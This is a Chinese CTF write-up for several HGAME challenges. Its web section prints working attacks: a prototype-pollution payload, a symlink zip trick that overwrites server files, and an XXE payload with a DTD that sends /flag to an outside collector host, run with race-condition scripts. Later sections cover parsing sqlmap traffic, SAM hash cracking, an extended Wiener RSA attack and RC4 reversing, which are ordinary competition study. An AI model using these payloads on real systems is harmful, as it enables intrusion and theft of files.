web

WebVPN

源码:

const express = require("express");
const axios = require("axios");
const bodyParser = require("body-parser");
const path = require("path");
const fs = require("fs");
const { v4: uuidv4 } = require("uuid");
const session = require("express-session");

const app = express();
const port = 3000;
const session_name = "my-webvpn-session-id-" + uuidv4().toString();

app.set("view engine", "pug");
app.set("trust proxy", false);
app.use(express.static(path.join(__dirname, "public")));
app.use(
session({
name: session_name,
secret: uuidv4().toString(),
secure: false,
resave: false,
saveUninitialized: true,
})
);
app.use(bodyParser.json());
var userStorage = {
username: {
password: "password",
info: {
age: 18,
},
strategy: {
"baidu.com": true,
"google.com": false,
},
},
};
// 原型链污染 ,过滤 __
function update(dst, src) {
for (key in src) {
if (key.indexOf("__") != -1) {
continue;
}
if (typeof src[key] == "object" && dst[key] !== undefined) {
update(dst[key], src[key]);
continue;
}
dst[key] = src[key];
}
}

app.use("/proxy", async (req, res) => {
const { username } = req.session;
if (!username) {
res.sendStatus(403);
}

let url = (() => {
try {
return new URL(req.query.url);
} catch {
res.status(400);
res.end("invalid url.");
return undefined;
}
})();

if (!url) return;
console.log(url.hostname);
console.log(username);
if (!userStorage[username].strategy[url.hostname]) {
res.status(400);
res.end("your url is not allowed.");
}

try {
const headers = req.headers;
headers.host = url.host;
headers.cookie = headers.cookie.split(";").forEach((cookie) => {
var filtered_cookie = "";
const [key, value] = cookie.split("=", 1);
if (key.trim() !== session_name) {
filtered_cookie += `${key}=${value};`;
}
return filtered_cookie;
});
const remote_res = await (() => {
if (req.method == "POST") {
return axios.post(url, req.body, {
headers: headers,
});
} else if (req.method == "GET") {
return axios.get(url, {
headers: headers,
});
} else {
res.status(405);
res.end("method not allowed.");
return;
}
})();
res.status(remote_res.status);
res.header(remote_res.headers);
res.write(remote_res.data);
} catch (e) {
res.status(500);
res.end("unreachable url.");
}
});

app.post("/user/login", (req, res) => {
const { username, password } = req.body;
if (
typeof username != "string" ||
typeof password != "string" ||
!username ||
!password
) {
res.status(400);
res.end("invalid username or password");
return;
}
if (!userStorage[username]) {
res.status(403);
res.end("invalid username or password");
return;
}
if (userStorage[username].password !== password) {
res.status(403);
res.end("invalid username or password");
return;
}
req.session.username = username;
res.send("login success");
});

// under development
app.post("/user/info", (req, res) => {
if (!req.session.username) {
res.sendStatus(403);
}
update(userStorage[req.session.username].info, req.body);
res.sendStatus(200);
});

app.get("/home", (req, res) => {
if (!req.session.username) {
res.sendStatus(403);
return;
}
res.render("home", {
username: req.session.username,
strategy: ((list)=>{
var result = [];
for (var key in list) {
result.push({host: key, allow: list[key]});
}
return result;
})(userStorage[req.session.username].strategy),
});
});

// demo service behind webvpn
app.get("/flag", (req, res) => {
if (
req.headers.host != "127.0.0.1:3000" ||
req.hostname != "127.0.0.1" ||
req.ip != "127.0.0.1"
) {
res.sendStatus(400);
return;
}
const data = fs.readFileSync("/flag");
res.send(data);
});

app.listen(port, '0.0.0.0', () => {
console.log(`app listen on ${port}`);
});

观察这个函数

// 原型链污染 ,过滤 __
function update(dst, src) {
for (key in src) {
if (key.indexOf("__") != -1) {
continue;
}
if (typeof src[key] == "object" && dst[key] !== undefined) {
update(dst[key], src[key]);
continue;
}
dst[key] = src[key];
}
}

这是一个原型链污染的函数,过滤了 __ ,不能使用 __proto__

可以用 constructor.prototype 代替__proto__

找一下那里调用了这个函数

// under development
app.post("/user/info", (req, res) => {
if (!req.session.username) {
res.sendStatus(403);
}
update(userStorage[req.session.username].info, req.body);
res.sendStatus(200);
});

这个路由调用了update函数,可以原型链污染。

找一下触发flag的条件,知道需要污染什么

app.use("/proxy", async (req, res) => {
const { username } = req.session;
if (!username) {
res.sendStatus(403);
}

let url = (() => {
try {
return new URL(req.query.url);
} catch {
res.status(400);
res.end("invalid url.");
return undefined;
}
})();

if (!url) return;
console.log(url.hostname);
console.log(username);
if (!userStorage[username].strategy[url.hostname]) {
res.status(400);
res.end("your url is not allowed.");
}

try {
const headers = req.headers;
headers.host = url.host;
headers.cookie = headers.cookie.split(";").forEach((cookie) => {
var filtered_cookie = "";
const [key, value] = cookie.split("=", 1);
if (key.trim() !== session_name) {
filtered_cookie += `${key}=${value};`;
}
return filtered_cookie;
});
const remote_res = await (() => {
if (req.method == "POST") {
return axios.post(url, req.body, {
headers: headers,
});
} else if (req.method == "GET") {
return axios.get(url, {
headers: headers,
});
} else {
res.status(405);
res.end("method not allowed.");
return;
}
})();
res.status(remote_res.status);
res.header(remote_res.headers);
res.write(remote_res.data);
} catch (e) {
res.status(500);
res.end("unreachable url.");
}
});
// demo service behind webvpn
app.get("/flag", (req, res) => {
if (
req.headers.host != "127.0.0.1:3000" ||
req.hostname != "127.0.0.1" ||
req.ip != "127.0.0.1"
) {
res.sendStatus(400);
return;
}
const data = fs.readFileSync("/flag");
res.send(data);
});

可以知道我们需要通过/proxy路由访问http://127.0.0.1:3000/flag才能得到flag。

分析一下/proxy路由

传入一个url的参数,里面填上需要访问的网站,然后检查这个网站是不是允许访问的,是的话就访问,不是就返回your url is not allowed.

接下来就是需要污染了,我们需要把127.0.0.1污染成允许访问,因为默认是没有的。

本地测试代码:

var userStorage = {
username: {
password: "password",
info: {
age: 18,
},
strategy: {
"baidu.com": true,
"google.com": false,
},
},
};

function update(dst, src) {
for (key in src) {
if (typeof src[key] == "object" && dst[key] !== undefined) {
//console.log(src[key]);
update(dst[key], src[key]);
continue;
}
//console.log(dst);
dst[key] = src[key];
//console.log(dst[key]);
}
}

let url = new URL("http://127.0.0.1:3000/flag");

let o2 = JSON.parse('{"age":33,"constructor":{"prototype":{"127.0.0.1":true}}}');

//console.log(url.hostname);

//console.log(o2);
//console.log(userStorage);

update(userStorage["username"].info, o2);

//console.log(userStorage["username"].strategy.test);

//console.log(userStorage['username'].strategy["127.0.0.1"]);

console.log(userStorage['username'].strategy[url.hostname]);

由此可以确定我们在/user/info路由传入的数据

{"age":33,"constructor":{"prototype":{"127.0.0.1":true}}}

污染成功后,通过/proxy路由访问http://127.0.0.1:3000/flag即可得到flag。

部分源码:

routes.go

package routes

import (
"fmt"
"html/template"
"net/http"
"os"
"os/signal"
"path/filepath"
"zero-link/internal/config"
"zero-link/internal/controller/auth"
"zero-link/internal/controller/file"
"zero-link/internal/controller/ping"
"zero-link/internal/controller/user"
"zero-link/internal/middleware"
"zero-link/internal/views"

"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
)

func Run() {
r := gin.Default()

html := template.Must(template.New("").ParseFS(views.FS, "*"))
r.SetHTMLTemplate(html)

secret := config.Secret.SessionSecret
store := cookie.NewStore([]byte(secret))
r.Use(sessions.Sessions("session", store))

api := r.Group("/api")
{
api.GET("/ping", ping.Ping)
api.POST("/user", user.GetUserInfo)
api.POST("/login", auth.AdminLogin)

apiAuth := api.Group("")
apiAuth.Use(middleware.Auth())
{
apiAuth.POST("/upload", file.UploadFile)
apiAuth.GET("/unzip", file.UnzipPackage)
apiAuth.GET("/secret", file.ReadSecretFile)
}
}

frontend := r.Group("/")
{
frontend.GET("/", func(c *gin.Context) {
c.HTML(http.StatusOK, "index.html", nil)
})
frontend.GET("/login", func(c *gin.Context) {
c.HTML(http.StatusOK, "login.html", nil)
})

frontendAuth := frontend.Group("")
frontendAuth.Use(middleware.Auth())
{
frontendAuth.GET("/manager", func(c *gin.Context) {
c.HTML(http.StatusOK, "manager.html", nil)
})
}
}

quit := make(chan os.Signal)
signal.Notify(quit, os.Interrupt)

go func() {
<-quit
err := os.Remove(filepath.Join(".", "sqlite.db"))
if err != nil {
fmt.Println("Failed to delete sqlite.db:", err)
} else {
fmt.Println("sqlite.db deleted")
}
os.Exit(0)
}()

r.Run(":8000")
}

通过这里确定路由,接着是登录,我们需要找到Admin 的密码。

/api/user路由能够查询用户,限制了Username != "Admin"Token != "0000"

func GetUserByUsernameOrToken(username string, token string) (*User, error) {
var user User
query := db
if username != "" {
query = query.Where(&User{Username: username})
} else {
query = query.Where(&User{Token: token})
}
err := query.First(&user).Error
if err != nil {
log.Println("Cannot get user: " + err.Error())
return nil, err
}
return &user, nil
}

主要查询函数是这个,通过传入空的usernametoken可以得到Admin的密码为 Zb77jbeoZkDdfQ12fzb0

接着来到上传页面,查看file.go的代码

package file

import (
"net/http"
"os"
"os/exec"
"path/filepath"
"zero-link/internal/util"

"github.com/gin-gonic/gin"
)

type FileResponse struct {
Code int `json:"code"`
Message string `json:"message"`
Data string `json:"data"`
}

func UploadFile(c *gin.Context) {
file, err := c.FormFile("file")
if err != nil {
c.JSON(http.StatusBadRequest, FileResponse{
Code: http.StatusBadRequest,
Message: "No file uploaded",
Data: "",
})
return
}

ext := filepath.Ext(file.Filename)
if (ext != ".zip") || (file.Header.Get("Content-Type") != "application/zip") {
c.JSON(http.StatusBadRequest, FileResponse{
Code: http.StatusBadRequest,
Message: "Only .zip files are allowed",
Data: "",
})
return
}

filename := "/app/uploads/" + file.Filename

if _, err := os.Stat(filename); err == nil {
err := os.Remove(filename)
if err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to remove existing file",
Data: "",
})
return
}
}

err = c.SaveUploadedFile(file, filename)
if err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to save file",
Data: "",
})
return
}

c.JSON(http.StatusOK, FileResponse{
Code: http.StatusOK,
Message: "File uploaded successfully",
Data: filename,
})
}

func UnzipPackage(c *gin.Context) {
files, err := filepath.Glob("/app/uploads/*.zip")
if err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to get list of .zip files",
Data: "",
})
return
}

for _, file := range files {
cmd := exec.Command("unzip", "-o", file, "-d", "/tmp/")
if err := cmd.Run(); err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to unzip file: " + file,
Data: "",
})
return
}
}

c.JSON(http.StatusOK, FileResponse{
Code: http.StatusOK,
Message: "Unzip completed",
Data: "",
})
}

func ReadSecretFile(c *gin.Context) {
secretFilepath := "/app/secret"
content, err := util.ReadFileToString(secretFilepath)
if err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to read secret file",
Data: "",
})
return
}

secretContent, err := util.ReadFileToString(content)
if err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to read secret file content",
Data: "",
})
return
}

c.JSON(http.StatusOK, FileResponse{
Code: http.StatusOK,
Message: "Secret content read successfully",
Data: secretContent,
})
}

/api/upload路由只能上传zip文件。

/api/unzip路由是用unzip将上传的zip文件解压,把文件解压到/tmp/

/api/secret路由是读/app/secret文件的内容。

这里参考ciscn的unzip,参考链接:【CISCN2023】unzip 详解

通过软链接把/app文件夹链接到web文件夹,然后解压到/tmp,之后再把新的secret解压到web,因为web文件夹是/app文件夹的软链接,解压到web文件夹等同于解压到/app文件夹,从而用新的secret覆盖掉旧的secret

文件生成,需要保证根目录有/app文件夹

ln -s /app web          

zip --symlinks aweb.zip web

echo "/flag" > web/secret

zip -y web/secret flag.zip

zip -y flag.zip web/secret

先上传web.zip再上传flag.zip,顺序不能反。

每上传完一个文件都要访问一下/api/unzip解压

解压完后访问/api/secret即可得到真正的flag。

VidarBox

参考链接:RealWorld CTF 6th 正赛/体验赛 部分 Web Writeup

XXE漏洞&绕过

关键代码:

package org.vidar.controller;


import org.springframework.core.io.DefaultResourceLoader;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
import org.xml.sax.helpers.XMLReaderFactory;

import java.io.*;

@Controller
public class BackdoorController {

private String workdir = "file:///non_exists/";
private String suffix = ".xml";

@RequestMapping("/")
public String index() {
return "index.html";
}

@GetMapping({"/backdoor"})
@ResponseBody
public String hack(@RequestParam String fname) throws IOException, SAXException {
DefaultResourceLoader resourceLoader = new DefaultResourceLoader();
System.out.println(this.workdir + fname + this.suffix);
byte[] content = resourceLoader.getResource(this.workdir + fname + this.suffix).getContentAsByteArray();
if (content != null && this.safeCheck(content)) {
XMLReader reader = XMLReaderFactory.createXMLReader();
reader.parse(new InputSource(new ByteArrayInputStream(content)));
return "success";
} else {
return "error";
}
}

private boolean safeCheck(byte[] stream) throws IOException {
String content = new String(stream);
return !content.contains("DOCTYPE") && !content.contains("ENTITY") &&
!content.contains("doctype") && !content.contains("entity");
}

}

reader.parse存在xxe,但是xxe是从文件加载进来的,题目没有上传接口,而且读取文件指定了用file://协议,也不能从外面读取数据(好像有方法能读,但是我不会,也没找到方法)

先考虑xxe的过滤绕过,可以采用UTF-16be来绕。

先用正常的payload,然后转成UTF-16be即可。

cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml

接着是回显问题,题目成功只返回了success,没有xxe数据的回显,要外带出来。

text.xml,接下来要上传到靶机上的:

<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % remote SYSTEM "http://[ip]:[port]/test.dtd">
%remote;
%all;
]>
<root>&send;</root>

test.dtd ,放在自己服务器上的:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://kbqsag.ceye.io?file=%file;'>">

先本地验证确保xxe能正常带出,再进行接下来的操作。

第二步是如何把test.xml放到服务器上,这里就类似与php的临时文件包含了,强制上传文件会使得服务器短暂生成临时文件,只要我们够快,把临时文件包含进来,即可加载自定的xml文件。

这里参考了 rwctf 2024 正式赛chatterbox ,里面的 file协议和题目一模一样。

直接抄脚本,开始条件竞争。

uolaod.py(用来上传文件):

import requests
import io
import threading
url='http://139.196.183.57:32517/' #引入url
def write():

while True:
response=requests.post(url,files={'file':('poc',open('new.xml','rb'))})
#print(response.text)
if __name__=='__main__':
evnet=threading.Event()
with requests.session() as session:
for i in range(10):
threading.Thread(target=write).start()
evnet.set()

xxe.py(用来包含临时文件):

import requests
import io
import time
import threading
while True:
for i in range(10, 35):
try:
#print(i)
url = f'http://139.196.183.57:32517/backdoor?fname=..%5cproc/self/fd/{i}%23' # 引入url
# print(r.cookies)
response = requests.get(url,timeout=0.5)

print(i,response.text)
if response.text == 'success' or response.text == 'error':
print(i,response.text)
time.sleep(10)
except:
pass
#print("no")

上面两个python脚本开两个命令行同时跑

放着自己跑一会,之后即可得到flag

hgame{85cd4471a80cd3a5f2c594e921bfe2a8f92c827b}

misc

与ai聊天

复读机的胜利(

Blind SQL Injection

参考链接:sqlmap盲注流量的一点分析

先把payload和返回数据都提取出来,用tshark过滤

tshark -r blindsql.pcapng -Y "ip.src == 117.21.200.176 && http.response" -T fields -E separator="~" -e http.response_for.uri -e http.file_data > data1.txt

解释一下,ip.src == 117.21.200.176 是服务器发出的包,http.response是指过滤http返回内容,-E separator 是设置输出分隔符,-e 代表输出流量中对应字段,在这里输出返回包中的uri和数据。

之后再观察成功和失败的包,找到成功的标志为ERROR,注入语句的标志为group_concat(password)))From(F1naI1y)),

之后就是编写脚本了:

import urllib.parse
# 读入数据,数据中存在不可见字符,因此用rb模式
f = open("data1.txt", "rb").readlines()

# 注入语句。
pattern = "group_concat(password)))From(F1naI1y)),"
# 注入成功
trueInjection = "ERROR"
temp = {}

for i in range(0, len(f)):
line = str(f[i])[2:]
# 上一步插入的分隔符,把数据分为url和data两部分
if line.find("~") == -1:
continue

url, data = line.split("~")[0],line.split("~")[1]

url = urllib.parse.unquote(url).strip()

positions = url.find(pattern)
if positions != -1:
# 截取参数,data1 表示第几位数据,data2表示这一位数据的ascii值
data1 = url[positions+len(pattern):].split(",")[0]
data2 = url[positions+len(pattern):].split(">")[1].split(")")[0]
# print(data1,data2)
# data3: 注入结果的判断
if data.find(trueInjection) != -1:
data3 = True
else:
data3 = False
if data1 not in temp:
temp[data1]=[(data2,data3)]
else:
temp[data1].append((data2,data3))

else:
continue

# 盲注使用了二分法,所以也要根据这一点写代码解析数据
text=""
for i in temp:
small = -1
large = -1
for j in temp[i]:
if j[1] :
small = j[0]
else:
large = j[0]
if large != -1:
text+=chr(int(large))
print(text[::-1])

# ,flag{cbabafe7-1725-4e98-bac6-d38c5928af2f}

简单的vmdk取证

7-zip解压vmdk

SAMInside查看SAM,获取Administrator登录密码的NT哈希值。

cmd5 解密,可以得到密码明文。

flag:

hgame{DAC3A2930FC196001F3AEAB959748448_Admin1234}

简单的取证,不过前十个有红包

还是上一题的vmdk镜像,查看桌面,可以得到VeraCrypt的密码。

968fJD17UBzZG6e3yjF6

拿到密码后用 VeraCrypt挂载 vera.hc,输入密码挂载成功后,打开挂载盘即可得到flag。

hgame{happy_new_year_her3_1s_a_redbag_key_41342177}

Crypto

exRSA

源码:

from Crypto.Util.number import *
from secret import flag
m=bytes_to_long(flag)
p=getStrongPrime(1024)
q=getStrongPrime(1024)
phi=(p-1)*(q-1)

h1=inverse(getPrime(768),phi)
h2=inverse(getPrime(768),phi)
h3=inverse(getPrime(768),phi)

n=p*q
c=pow(m,0x10001,n)
print(f'h1={e1}')
print(f'h2={e2}')
print(f'h3={e3}')
print(f'c={c}')
print(f'n={n}')

"""
h1=5077048237811969427473111225370876122528967447056551899123613461792688002896788394304192917610564149766252232281576990293485239684145310876930997918960070816968829150376875953405420809586267153171717496198336861089523701832098322284501931142889817575816761705044951705530849327928849848158643030693363143757063220584714925893965587967042137557807261154117916358519477964645293471975063362050690306353627492980861008439765365837622657977958069853288056307253167509883258122949882277021665317807253308906355670472172346171177267688064959397186926103987259551586627965406979118193485527520976748490728460167949055289539
h2=12526848298349005390520276923929132463459152574998625757208259297891115133654117648215782945332529081365273860316201130793306570777735076534772168999705895641207535303839455074003057687810381110978320988976011326106919940799160974228311824760046370273505511065619268557697182586259234379239410482784449815732335294395676302226416863709340032987612715151916084291821095462625821023133560415325824885347221391496937213246361736361270846741128557595603052713612528453709948403100711277679641218520429878897565655482086410576379971404789212297697553748292438183065500993375040031733825496692797699362421010271599510269401
h3=12985940757578530810519370332063658344046688856605967474941014436872720360444040464644790980976991393970947023398357422203873284294843401144065013911463670501559888601145108651961098348250824166697665528417668374408814572959722789020110396245076275553505878565603509466220710219260037783849276475397283421068716088638186994778153542817681963059581651103563578804145156157584336712678882995685632615686853980176047683326974283896343322981521150211317597571554542488921290158122634140571148036732893808064119048328855134054709120877895941670166421664806186710346824494054783025733475898081247824887967550418509038276279
c=1414176060152301842110497098024597189246259172019335414900127452098233943041825926028517437075316294943355323947458928010556912909139739282924255506647305696872907898950473108556417350199783145349691087255926287363286922011841143339530863300198239231490707393383076174791818994158815857391930802936280447588808440607415377391336604533440099793849237857247557582307391329320515996021820000355560514217505643587026994918588311127143566858036653315985177551963836429728515745646807123637193259859856630452155138986610272067480257330592146135108190083578873094133114440050860844192259441093236787002715737932342847147399
n=17853303733838066173110417890593704464146824886316456780873352559969742615755294466664439529352718434399552818635352768033531948009737170697566286848710832800426311328560924133698481653594007727877031506265706341560810588064209681809146597572126173303463125668183837840427667101827234752823747483792944536893070188010357644478512143332014786539698535220139784440314481371464053954769822738407808161946943216714729685820896972467020893493349051243983390018762076812868678098172416465691550285372846402991995794349015838868221686216396597327273110165922789814315858462049706255254066724012925815100434953821856854529753
"""

拓展维纳攻击(Extending Wiener Attack)

参考链接:扩展维纳攻击

脚本:

# sage
from gmpy2 import invert
e1=5077048237811969427473111225370876122528967447056551899123613461792688002896788394304192917610564149766252232281576990293485239684145310876930997918960070816968829150376875953405420809586267153171717496198336861089523701832098322284501931142889817575816761705044951705530849327928849848158643030693363143757063220584714925893965587967042137557807261154117916358519477964645293471975063362050690306353627492980861008439765365837622657977958069853288056307253167509883258122949882277021665317807253308906355670472172346171177267688064959397186926103987259551586627965406979118193485527520976748490728460167949055289539
e2=12526848298349005390520276923929132463459152574998625757208259297891115133654117648215782945332529081365273860316201130793306570777735076534772168999705895641207535303839455074003057687810381110978320988976011326106919940799160974228311824760046370273505511065619268557697182586259234379239410482784449815732335294395676302226416863709340032987612715151916084291821095462625821023133560415325824885347221391496937213246361736361270846741128557595603052713612528453709948403100711277679641218520429878897565655482086410576379971404789212297697553748292438183065500993375040031733825496692797699362421010271599510269401
e3=12985940757578530810519370332063658344046688856605967474941014436872720360444040464644790980976991393970947023398357422203873284294843401144065013911463670501559888601145108651961098348250824166697665528417668374408814572959722789020110396245076275553505878565603509466220710219260037783849276475397283421068716088638186994778153542817681963059581651103563578804145156157584336712678882995685632615686853980176047683326974283896343322981521150211317597571554542488921290158122634140571148036732893808064119048328855134054709120877895941670166421664806186710346824494054783025733475898081247824887967550418509038276279
c=1414176060152301842110497098024597189246259172019335414900127452098233943041825926028517437075316294943355323947458928010556912909139739282924255506647305696872907898950473108556417350199783145349691087255926287363286922011841143339530863300198239231490707393383076174791818994158815857391930802936280447588808440607415377391336604533440099793849237857247557582307391329320515996021820000355560514217505643587026994918588311127143566858036653315985177551963836429728515745646807123637193259859856630452155138986610272067480257330592146135108190083578873094133114440050860844192259441093236787002715737932342847147399
N=17853303733838066173110417890593704464146824886316456780873352559969742615755294466664439529352718434399552818635352768033531948009737170697566286848710832800426311328560924133698481653594007727877031506265706341560810588064209681809146597572126173303463125668183837840427667101827234752823747483792944536893070188010357644478512143332014786539698535220139784440314481371464053954769822738407808161946943216714729685820896972467020893493349051243983390018762076812868678098172416465691550285372846402991995794349015838868221686216396597327273110165922789814315858462049706255254066724012925815100434953821856854529753

a=768./2048
D=diagonal_matrix(ZZ,[N**1.5,N,N**(a+1.5),N**(0.5),N**(a+1.5),N**(a+1),N**(a+1),1])
M=matrix(ZZ,[[1,-N,0,N**2,0,0,0,-N**3],
[0,e1,-e1,-e1*N,-e1,0,N*e1,N**2*e1],
[0,0,e2,-e2*N,0,N*e2,0,N**2*e2],
[0,0,0,e1*e2,0,-e1*e2,-e1*e2,-N*e1*e2],
[0,0,0,0,e3,-N*e3,-N*e3,N**2*e3],
[0,0,0,0,0,e1*e3,0,-N*e1*e3],
[0,0,0,0,0,0,e2*e3,-N*e2*e3],
[0,0,0,0,0,0,0,e1*e2*e3]])*D
L=M.LLL()
t=vector(ZZ,L[0])
x=t*M**(-1)
phi=int(x[1]/x[0]*e1)
d=invert(0x10001,phi)
m=pow(c,d,N)
# print(m)
print(bytes.fromhex(hex(m)[2:]))

b"hgame{Ext3ndin9_W1en3r's_att@ck_1s_so0o0o_ea3y}"

Reverse

mystery

参考链接:RE-RC4加密分析

先ida分析:

这是主要的运行函数,实现了一个类似RC4加密的效果。前面的初始化和rc4的一样,就后边的异或变成了减。

查看其他函数

在对flag加密前,程序会先把用来加密flag的key先和加密key的key先异或上0x2f,之后再rc4加密。

直接拿现成的rc4脚本来改以下就行了。

脚本:

#include<iostream>
using namespace std;

void RC4_encrypt(unsigned char *m, char *key,int mlen,int keylen){
unsigned char s[256];
unsigned char t[256];
for(int i=0;i<256;i++){ //初始化s和t向量
s[i]=i;
t[i]=key[i%keylen];
}

int j = 0;
for(int i=0;i<256;i++){

j=(j+s[i]+t[i])%256;

swap(s[i],s[j]); //根据t向量打乱s盒
}

unsigned char k[mlen];//保存秘钥流,或者直接进行异或

int i=0; j=0; int tmp;

for(int index=0;index<mlen;index++){ //生成与明文长度一致的秘钥流

i=(i+1)%256;
j=(j+s[i])%256;
swap(s[i],s[j]);

tmp=(s[i]+s[j])%256;

k[index]=s[tmp];//保存秘钥
}

for(i=0;i<mlen;i++)
{
m[i]=m[i]^k[i];//主要进行了一步异或,加密的逆过程就是解密
}

}

void RC4_encrypt_new(unsigned char *m, char *key,int mlen,int keylen){
unsigned char s[256];
unsigned char t[256];
for(int i=0;i<256;i++){ //初始化s和t向量
s[i]=i;
t[i]=key[i%keylen];
}

int j = 0;
for(int i=0;i<256;i++){

j=(j+s[i]+t[i])%256;

swap(s[i],s[j]); //根据t向量打乱s盒
}

unsigned char k[mlen];//保存秘钥流,或者直接进行异或

int i=0; j=0; int tmp;

for(int index=0;index<mlen;index++){ //生成与明文长度一致的秘钥流

i=(i+1)%256;
j=(j+s[i])%256;
swap(s[i],s[j]);

tmp=(s[i]+s[j])%256;

k[index]=s[tmp];//保存秘钥
}

for(i=0;i<mlen;i++)
{
m[i]=m[i]+k[i];
}

}

int main()
{
int i;
unsigned char enc[] = {
80, 66, 56, 77, 76, 84, 144, 111, 254, 111,
188, 105, 185, 34, 124, 22, 143, 68, 56, 74,
239, 55, 67, 192, 162, 182, 52, 44
};

char kkey[] = { 68, 74, 86, 68, 74, 86};
char key[] = {77, 78, 65, 112, 75, 74, 77, 90, 72, 14};
for(i = 0;i < 10;i++)
{
key[i]^=0x2f;
}
for(i = 0;i < 6;i++)
{
kkey[i]^=0x2f;
}
RC4_encrypt((unsigned char *)key,kkey,10,6);
RC4_encrypt_new(enc,key,28,10);
cout << enc;
return 0;
}
// hgame{I826-2e904t-4t98-9i82}